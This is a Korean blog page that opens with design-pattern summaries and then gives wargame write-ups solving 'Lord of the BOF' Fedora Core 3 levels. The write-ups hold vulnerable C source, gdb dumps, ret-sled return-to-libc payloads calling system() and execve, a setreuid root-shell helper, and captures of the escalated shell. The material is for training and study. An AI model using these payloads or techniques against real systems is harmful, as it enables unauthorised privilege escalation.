Factory Method기본정의 : 
객체를 생성하기 위한 인터페이스를 만듭니다. 
어떤 클래서의 인스턴스를 만들지는 서브클래스에서 결정하도록 합니다.
Singleton기본정의 : 
클래스 인스턴스가 하나만 만들어지도록 하고, 그 인스턴스에 대한 전역 접근을 제공
Command기본정의 : 
요청 내역을 객체로 캡슐화 하여 클라이언트를 서로 다른 요청 내역에 따라 처리.
Adaptor기본정의 : 
클래스의 인터페이스를 클라이언트에서 요구하는 다른 인터페이스로 변환
인터페이스가 호환되지 않아 쓸 수 없었던 클래스들을 같이 사용할 수 있게 해줌

- 하나 이상의 클래스의 인터페이스를 변환합니다
Façade기본정의 : 
서브시스템에 있는 일련의 인터페이스에 대한 통합 인터페이스를 제공.
서브시스템을 더 쉽게 사용할 수 있게 해주는 고수준 인터페이스

- 일련의 클래스들에 대한 인터페이스를 단순화 시킵니다.
Template기본정의 : 
작업 알고리즘의 골격을 정의

- 바꿔 쓸 수 있는 행동을 캡슐화한 다음, 실제 행동은 다른 객체에 위임합니다.
Iterator기본정의 : 
컬렉션을 표현하는 방법을 노출시키지 않으면서도 집합체 내에 있는 모든 객체들에 하나씩 접근

- 컬렉션의 구현을 드러내지 않으면서도 컬렉션에 있는 모든 객체들에 대해 반복작업을 할 수 있습니다.
Composite기본정의 : 
객체들을 트리구조로 구성하여 부분-전체 계층구조를 구현

- 클라이언트에서 객체 컬렉션과 개별 객체를 똑같은 식으로 처리할 수 있습니다.
State기본정의 : 
어떤 상태가 바뀜에 따라 객체의 행동을 바꿀 수 있습니다.
상태를 기반으로 하는 행동을 캡슐화 하고 행동을 현재 상태한테 위임.
Proxy기본정의 : 
다른 객체를 대변하는 객체를 만들어서 주 객체에 대한 접근을 제어 할수 있습니다.
Compound기본정의 : 
두 개 이상의 패턴을 결합하여 일반적으로 자주 등장하는 문제들에 대한 해법을 제공

[출처] Design Pattern|작성자 지우개


Posted by k1rha
2012. 5. 19. 00:04

1. 빌더 패턴이란? 


복잡한 객체를 생성하는 방법과 표현하는 방법을 정의하는 클래스를 별도로 분리하여, 서로다른 표현이라도 이를 생성할 수 있는 동일한 절차를 제공 할 수 있도록 하는 패턴...


이라고~ 사전적 정의가 내려져 있다. 



하지만 나만의 방식대로 말하자면, 다양한 클래스로 생성 해야 할 것들을 하나의 클래스로 한방에 생성 하겠음!  이라고 정의하고 싶다. 물론 여기에는 묶을 수 있는 클래스와 묶을 수 없는 클래스를 구분하는 것은 개발자의 몫이다. 




2. 왜?! 빌더 패턴을 사용하는가? 


우선 피자종류에 대한 프로그램을 짠다고 해보자. 토핑과, 맛, 소스,피클양,페퍼로니,사이즈,치즈크러스터 등등 같은 것을 저장해 줘야 하는데, 이를 한클래스에서 다른이름으로 생성해 주면, 생설할때마다 속성값을 지정해 줘야 하는 불편 함이 있다. 그렇다고 다른 클래스로 생성하여 그것을 미리 설정 해 놓자니, 클래스를 재사용 하기에 불편함이 생긴다.


이 두가지 문제를 해결 하기 위한 것이 빌더 패턴이다.


즉!! 각각의 피자의 속성값을 생성 할때부터 미리 정해 놓을 수 있는데, 같은 객체타입으로 다룰수 있다는 것이다. 

이는 유지보수 면에서 엄청난 매리트다. 



3. 코드 예시 (출처 wikipedia_)



위 그림을 보면, PizzaBuilder 라는 객체를 hawaiian_pizza 와 spicy_pizza 로 각각 생성해 주는데, 이를 new PizzaBuilder 로 선언해 주는 것이 아니라, 그림의 2번 처럼 각각의 hawaiian_pizza 와 spicy_pizza 로 생성한 객체를  각각의 타입이 아닌 pizzaBuilder 타입으로 넣는다!. 


이해를 돕기 위해 PizzaBuilder 추상클래스를 보면, 그림의 1번에서 처럼 pizza 객체를 생성하고, 각각의 메소드를 구현해 놓았다. 그리고 각각의 추상클래스로 builderSource, BuildTopping 등의 추상메소드를 구현해 놓는다.


이제 이러한 PizzaBuilder 를 상속 받아 다양한 피자 객체들을 만들면 PizzaBuilder 에는 이미 피자 객체가 있기 때문에 각각의 속성 값들을 지정해 가지고 있을 수 있다.


이렇게 생성된 다른 객체는 같은 객체로 다뤄질 수 있게 되는 것이다. 



4.느낀점 


 프로그래밍을 오래 한 편이 아니기에 클래스를 선언하고 그 안에 들어가는 객체는 같은 이름의 객체로 생성하는 것만 보았었는데, 저런식으로 타입만 맞추어 다양한 클래스를 집어 넣는 경우를 빌더 패턴을 통해 배운 기분이다. 







Posted by k1rha
2012. 5. 13. 14:38


Fedora 내부의 환경은 1번 게시글 참조. 

 1.DEP  환경  : Non-Excute stack 이라고도 불리며 스택에 있는 코드는 실행 권한없음 

  -> 즉 스택에 쉘코드를 박고 ret주소를 가리켜 공격하는 방식은 끝남. 


2.ASC Armor 기능 : Lib 주소에 맨 첫자리가 00 (NULL) 값이 됨으로써 여러번 호출이 안되고 단 한번의 라이브러리 들로만 호출이 됨. 


3. Random Stack : 스택의 주소값이 실행할 때 마다 random 하게 변한다. 즉 정확한 주소를 맞출 수 없다.


4. 1번 문제에서 알아낸 System 함수의 setreuid 초기화 루틴.. 즉 execve 를 사용해야함.



/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark_eyes

        - Local BOF on Fedora Core 3

        - hint : RET sleding

*/


int main(int argc, char *argv[])

{

        char buffer[256];

        char saved_sfp[4];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // save sfp

        memcpy(saved_sfp, buffer+264, 4);


        // overflow!!

        strcpy(buffer, argv[1]);


        // restore sfp

        memcpy(buffer+264, saved_sfp, 4);


        printf("%s\n", buffer);

}


페이로드는 다음과 같다.


[  buffer = 264 ] [ sfp = 4 ] [ ret = 4 ] [ argc ] [ argv ] 
  a * 264              aaaa        ret = & ret

                                                 ret  = & ret

                                                           ret = &execve      (인자값)

                                                                                     ln -s k1rha 인자값

 



(gdb) p execve

$1 = {<text variable, no debug info>} 0x7a5490 <execve>

 


다음은 strace를 이용한 값을 오류로서 result 에 저장한다. 


ret 주소의 반복은 전 문제에서 이미 2번정도면 스택을 벗어 난다는 것을 확인 했으므로 2번으로 해준 것이다.)


[iron_golem@Fedora_1stFloor ~]$ strace ./dark_eyes `perl -e 'print "a"x268,"\xb9\x84\x04\x08"x2,"\x91\x54\x7a"'` 2> t13.txt
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaah¹úþ¹¹‘Tz
[iron_golem@Fedora_1stFloor ~]$ cat t13.txt
execve("./dark_eyes", ["./dark_eyes", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa¹¹‘Tz"], [/* 20 vars */]) = 0
uname({sys="Linux", node="Fedora_1stFloor", ...}) = 0
brk(0)                                  = 0x87dd000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=28384, ...}) = 0
old_mmap(NULL, 28384, PROT_READ, MAP_PRIVATE, 3, 0) = 0xf6ff9000
close(3)                                = 0
open("/lib/tls/libc.so.6", O_RDONLY)    = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0 \17s\000"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1512400, ...}) = 0
old_mmap(0x71c000, 1207532, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x71c000
old_mmap(0x83d000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x120000) = 0x83d000
old_mmap(0x841000, 7404, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x841000
close(3)                                = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf6ff8000
mprotect(0x83d000, 8192, PROT_READ)     = 0
mprotect(0x718000, 4096, PROT_READ)     = 0
set_thread_area({entry_number:-1 -> 6, base_addr:0xf6ff8940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
munmap(0xf6ff9000, 28384)               = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf6fff000
write(1, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"..., 280) = 280
execve("<íƒ", [0], [/* 1 var */])       = -1 ENOENT (No such file or directory)
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
+++ killed by SIGSEGV +++

이렇게 저장된 t13.txt 파일을 xxd명령어를 이용하여 헥사 코드로 보자.

[iron_golem@Fedora_1stFloor ~]$xxd t13.txt

0000750: 2c20 3238 3029 203d 2032 3830 0a65 7865  , 280) = 280.exe
0000760: 6376 6528 223c ed83 222c 205b 305d 2c20  cve("<..", [0],
0000770: 5b2f 2a20 3120 7661 7220 2a2f 5d29 2020  [/* 1 var */])
0000780: 2020 2020 203d 202d 3120 454e 4f45 4e54       = -1 ENOENT
0000790: 2028 4e6f 2073 7563 6820 6669 6c65 206f   (No such file o
00007a0: 7220 6469 7265 6374 6f72 7929 0a2d 2d2d  r directory).---
00007b0: 2053 4947 5345 4756 2028 5365 676d 656e   SIGSEGV (Segmen
00007c0: 7461 7469 6f6e 2066 6175 6c74 2920 4020  tation fault) @
00007d0: 3020 2830 2920 2d2d 2d0a 2b2b 2b20 6b69  0 (0) ---.+++ ki
00007e0: 6c6c 6564 2062 7920 5349 4753 4547 5620  lled by SIGSEGV
00007f0: 2b2b 2b0a                                +++.
[iron_golem@Fedora_1stFloor ~]$ 



1번문제와 마찬가지로 " = 0x22 라는 점을 이용하여 그 사이값을 인자로 구성한다. 

이후 setreuid 와 system 함수로 쉘을 실행시키는 프로그램으로 심볼릭 링크 걸어 준다. 


[iron_golem@Fedora_1stFloor ~]$ ln -s k1rha `perl -e 'print "\x3c\xed\x83"'`

[iron_golem@Fedora_1stFloor ~]$ export PATH=$PATH:/home/iron_golem/

[iron_golem@Fedora_1stFloor ~]$ `perl -e 'print "\x3c\xed\x83"'`

sh-3.00$ exit

exit


공격 공격~


[iron_golem@Fedora_1stFloor ~]$ ./dark_eyes `perl -e 'print "a"x268,"\xfe\x82\x04\x08"x2,"\x91\x54\x7a"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa˜ùãþþþ‘Tz

sh-3.00$ id

uid=502(dark_eyes) gid=501(iron_golem) groups=501(iron_golem) context=user_u:system_r:unconfined_t

sh-3.00$ my-pass

euid = 502

because of you

sh-3.00$




Posted by k1rha
2012. 5. 11. 16:53

RedHat -> Fedora 로 넘어오면서 바뀌어진 환경



1.DEP  환경  : Non-Excute stack 이라고도 불리며 스택에 있는 코드는 실행 권한없음 

  -> 즉 스택에 쉘코드를 박고 ret주소를 가리켜 공격하는 방식은 끝남. 


2.ASC Armor 기능 : Lib 주소에 맨 첫자리가 00 (NULL) 값이 됨으로써 여러번 호출이 안되고 단 한번의 라이브러리 들로만 호출이 됨. 


3. Random Stack : 스택의 주소값이 실행할 때 마다 random 하게 변한다. 즉 정확한 주소를 맞출 수 없다.

 



기존에 LOB RedHat 원정대의 경우는 쉘코드를 많이 활용 했었지만, 페도라원정대에서는 RTL 기법을 최대한 활용 하는 방향으로 가야 편하다. 


아래는 페도라의 수문장인 iron_golem 이다. 


/*

        The Lord of the BOF : The Fellowship of the BOF

        - iron_golem

        - Local BOF on Fedora Core 3

        - hint : fake ebp

*/


int main(int argc, char *argv[])

{

    char buffer[256];


    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }


    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}


정말 다시 돌아온 것같은 느낌의 쉬운 코드.. 간단하게 return adress 의 주소값을 바꿀 수 있는 구조이다. 



 [gate@Fedora_1stFloor ~]$ gdb -q iron_golem
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) disass main
Dump of assembler code for function main:
0x080483d0 <main+0>:    push   %ebp
0x080483d1 <main+1>:    mov    %esp,%ebp
0x080483d3 <main+3>:    sub    $0x108,%esp //  stack 의 메모리 할당 부분 . 
0x080483d9 <main+9>:    and    $0xfffffff0,%esp
0x080483dc <main+12>:   mov    $0x0,%eax
0x080483e1 <main+17>:   add    $0xf,%eax
0x080483e4 <main+20>:   add    $0xf,%eax
0x080483e7 <main+23>:   shr    $0x4,%eax
0x080483ea <main+26>:   shl    $0x4,%eax
0x080483ed <main+29>:   sub    %eax,%esp
0x080483ef <main+31>:   cmpl   $0x1,0x8(%ebp)
0x080483f3 <main+35>:   jg     0x804840f <main+63>
0x080483f5 <main+37>:   sub    $0xc,%esp
0x080483f8 <main+40>:   push   $0x8048524
0x080483fd <main+45>:   call   0x80482f8 <_init+56>
0x08048402 <main+50>:   add    $0x10,%esp
0x08048405 <main+53>:   sub    $0xc,%esp
0x08048408 <main+56>:   push   $0x0
0x0804840a <main+58>:   call   0x8048308 <_init+72>
0x0804840f <main+63>:   sub    $0x8,%esp
0x08048412 <main+66>:   mov    0xc(%ebp),%eax
0x08048415 <main+69>:   add    $0x4,%eax
0x08048418 <main+72>:   pushl  (%eax)
0x0804841a <main+74>:   lea    0xfffffef8(%ebp),%eax
0x08048420 <main+80>:   push   %eax
0x08048421 <main+81>:   call   0x8048318 <_init+88>
0x08048426 <main+86>:   add    $0x10,%esp
0x08048429 <main+89>:   sub    $0x8,%esp
0x0804842c <main+92>:   lea    0xfffffef8(%ebp),%eax
0x08048432 <main+98>:   push   %eax
0x08048433 <main+99>:   push   $0x8048530
0x08048438 <main+104>:  call   0x80482f8 <_init+56>
0x0804843d <main+109>:  add    $0x10,%esp
0x08048440 <main+112>:  leave
0x08048441 <main+113>:  ret
0x08048442 <main+114>:  nop
0x08048443 <main+115>:  nop
End of assembler dump.
(gdb)
(gdb) print 0x108
$1 = 264
(gdb)



페이로드를 그려보면 다음과 같다. 


[buffer = 264 ] [sfp =4 ] [ret =4] [argc =4 ][argv =4 ] 



[gate@Fedora_1stFloor ~]$ cp iron_golem iron_golen

[gate@Fedora_1stFloor ~]$ ulimit -c 10000

[gate@Fedora_1stFloor ~]$ iron_golen `perl -e 'print "a"x268,"bbbb"'`

-bash: iron_golen: command not found

[gate@Fedora_1stFloor ~]$ ./iron_golen `perl -e 'print "a"x268,"bbbb"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb

Segmentation fault (core dumped)

[gate@Fedora_1stFloor ~]$ gdb -c core.7

core.7049  core.7197

[gate@Fedora_1stFloor ~]$ gdb -c core.7197

GNU gdb Red Hat Linux (6.1post-1.20040607.41rh)

Copyright 2004 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu".

Core was generated by `./iron_golen aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.

Program terminated with signal 11, Segmentation fault.

#0  0x62626262 in ?? ()

(gdb)



RET 주소가 bbbb 로 싀워진것을 확인 할 수 있다. 


다음은 RTL 에 쓸 system() 함수의 시작 주소값을 알아 보자.

 

[gate@Fedora_1stFloor ~]$ gdb iron_golen

GNU gdb Red Hat Linux (6.1post-1.20040607.41rh)

Copyright 2004 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu"...(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".


(gdb) b main

Breakpoint 1 at 0x80483d9

(gdb) r

Starting program: /home/gate/iron_golen

(no debugging symbols found)...(no debugging symbols found)...

Breakpoint 1, 0x080483d9 in main ()

(gdb) print system

$1 = {<text variable, no debug info>} 0x7507c0 <system>

(gdb)


우선 기본 RTL 공격 페이로드를 봐보자 



[buffer    264   ]  [sfp   = 4      ] [ RETURN ] [argc ]

[buffer = a*264 ] [sfp = aaaa] [ &system()] [argc]  [&(system 함수의 인자 값) ] 
                                                                                         -> ln -s  symbolic_link


sysbolic_link.c

#include<stdio.h>

int main(){

 setreuid(geteuid(),geteuid());


  system("/bin/sh");


return 0;

}

그리고 system 함수를 RET에 넣고 시작하여 인자로 쓸 부분을 확인해 보자. 


[gate@Fedora_1stFloor ~]$ ./iron_golen `perl -e 'print "a"x268,"\xc0\x07\x75"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaÀu

sh: 9ÛôþFÛôþ: command not found

[gate@Fedora_1stFloor ~]$ ./iron_golen `perl -e 'print "a"x268,"\xc0\x07\x75"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaÀu

sh: 9»öþF»öþ: command not found

Segmentation fault (core dumped)

[gate@Fedora_1stFloor ~]$ ./iron_golen `perl -e 'print "a"x268,"\xc0\x07\x75"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaÀu

sh: 9kôþFkôþ: command not found

Segmentation fault (core dumped)

[gate@Fedora_1stFloor ~]$


무언가가 실행 된 것을 볼 수 있으나 지정된 프로그램이나 명령어가 아니므로 command not found 가 뜨고 있다. 

그리고 그 값이 계속 변한다. 이유인 즉 아직 system 함수의 인자로 쓸 값이 Random 한 스택영역에 있기 때문이다.


우리는 이를 해결하기 위해서 스택 영역을 벗어나야 한다. 

그 중 한 방법으로 ret 의 값으로 다시 ret 주소를 넣고, 그 ret주소에는 다시 ret 주소를 넣는 방식을 사용하여 eip를 계속 올려내는 방법이 있다. 


그방법을 써서 고정된 영역으로 인자값을 옴겨 보도록 하겠다.


0x08048441 <main+113>:  ret

0x08048442 <main+114>:  nop

0x08048443 <main+115>:  nop

End of assembler dump.

(gdb)


GDB 의 disass 를 통하여 RET 의 주소값은 0x08048441 이라는 것을 알 수 있고, 이를 이용하여 위에 설명 했던 방식으로 

페이로드를 짜보자.d



[buffer    264   ]  [sfp   = 4      ] [ RETURN ] [argc ]

[buffer = a*264 ] [sfp = aaaa] [ ret = &ret ]

                                                     [ ret= &ret ]

                                                               [ret = & ret ] ......

                                                                                      [system() ] [   ]  [  인자값 ] 

                                                                                                                ln - s symbolic_link


 



[gate@Fedora_1stFloor ~]$ ./iron_golen `perl -e 'print "a"x268,"\x41\x84\x04\x08"x2,"\xc0\x07\x75\x00"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAÀu

sh: ‹Uðƒì‰Á1À…Òt                      eô[^_]ËMè‹@·H‹Žˆ: command not found

Segmentation fault (core dumped)ÿu‹Mä‰

[gate@Fedora_1stFloor ~]$ ./iron_golen `perl -e 'print "a"x268,"\x41\x84\x04\x08"x2,"\xc0\x07\x75\x00"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAÀu

sh: ‹Uðƒì‰Á1À…Òt                      eô[^_]ËMè‹@·H‹Žˆ: command not found

Segmentation fault (core dumped)ÿu‹Mä‰

[gate@Fedora_1stFloor ~]$ ./iron_golen `perl -e 'print "a"x268,"\x41\x84\x04\x08"x2,"\xc0\x07\x75\x00"'`



보면 RET을 두번만 호출 하였는데도 같은 값이 출력 됨을 확인 할 수 있다. 


이녀석들을 전부다 인자로 만들어줘야 하나 이는 너무 길어보이므로 3번 더 RET을 덮어 보겠다. 



[gate@Fedora_1stFloor ~]$ ./iron_golen `perl -e 'print "a"x268,"\x41\x84\x04\x08"x5,"\xc0\x07\x75\x00"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAÀu

sh: íƒ: No such file or directory

Segmentation fault (core dumped)

[gate@Fedora_1stFloor ~]$ ./iron_golen `perl -e 'print "a"x268,"\x41\x84\x04\x08"x5,"\xc0\x07\x75\x00"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAÀu

sh: íƒ: No such file or directory

Segmentation fault (core dumped)

[gate@Fedora_1stFloor ~]$ ./iron_golen `perl -e 'print "a"x268,"\x41\x84\x04\x08"x5,"\xc0\x07\x75\x00"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAÀu

sh: íƒ: No such file or directory

Segmentation fault (core dumped)

[gate@Fedora_1stFloor ~]$


훨씬 짧아 졌다. 이 값의 헥사값을 보기 위해서 2> 2번 오류로 저장해보자. 

 

[gate@Fedora_1stFloor ~]$ xxd r1.txt

0000000: 7368 3a20 6161 6161 3a20 4e6f 2073 7563 6820  sh: ..: No such

0000010: 6669 6c65 206f 7220 6469 7265 6374 6f72  file or director

0000020: 790a   



3a 는 : 을 의미하는 헥사 코드이다. 73 은 s 68은 h 이다 20은 공백이므로  그 사이 값인 6161 6161 이 인자값으로 들어 간 값이라는 것을 확인해 줄 수 있다. 

이를 심볼릭 링크로 걸어 보겠다. 





 [gate@Fedora_1stFloor ~]$ ln -s symbolic_link `perl -e 'print "\x61\x61\x61\x61"'`

[gate@Fedora_1stFloor ~]$ ls
(???  ???  core.7364   iron_golem.c  r1.txt  result1.txt  result.txt      aaaa       sh    shell    symbolic_link    ZY??$??
??    ?    iron_golem  iron_golen    result  result2.txt  r[gate@Fedora_1stFloor  sh.c  shell.c  symbolic_link.c  ZY??$??:
[gate@Fedora_1stFloor ~]$ pwd
/home/gate
[gate@Fedora_1stFloor ~]$ export PATH = $PATH:/home/gate
-bash: export: `=': not a valid identifier
-bash: export: `/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/gate/bin:/home/gate': not a valid identifier
[gate@Fedora_1stFloor ~]$ export PATH=$PATH:/home/gate
[gate@Fedora_1stFloor ~]$ `perl -e 'print " \x61\x61\x61\x61"'`
sh-3.00$ exit
exit
[gate@Fedora_1stFloor ~]$



공격!


[gate@Fedora_1stFloor ~]$ ./iron_golem  `perl -e 'print "a"x268,"\x41\x84\x04\x08"x5,"\xc0\x07\x75\x00"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAÀu

sh-3.00$ id

uid=500(gate) gid=500(gate) groups=500(gate) context=user_u:system_r:unconfined_t

sh-3.00$


여기까지 왔는데 UID가 상승하지 않았다. 
sh-3.00$
이유인 즉슨 system() 함수는 내부 루틴중에 geteuid 를 재설정 해주는 부분이 있기 때문에 이를 유지 할 수 없다. 따라서 system 함수의 주소값 대신에 execve 주소값을 찾아 줘야 한다. 

(gdb) p execve

$1 = {<text variable, no debug info>} 0x7a5490 <execve>

(gdb)


그리고 이 주소값에 프롤로그 부분을 건너 뛰기 위해서 1을 더해준다. 

 [gate@Fedora_1stFloor ~]$ strace ./iron_golem  `perl -e 'print "a"x268,"\x41\x84\x04\x08"x2,"\x91\x54\x7a\x00"'`
execve("./iron_golem", ["./iron_golem", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAA‘Tz"], [/* 20 vars */]) = 0
uname({sys="Linux", node="Fedora_1stFloor", ...}) = 0
brk(0)                                  = 0x9d16000
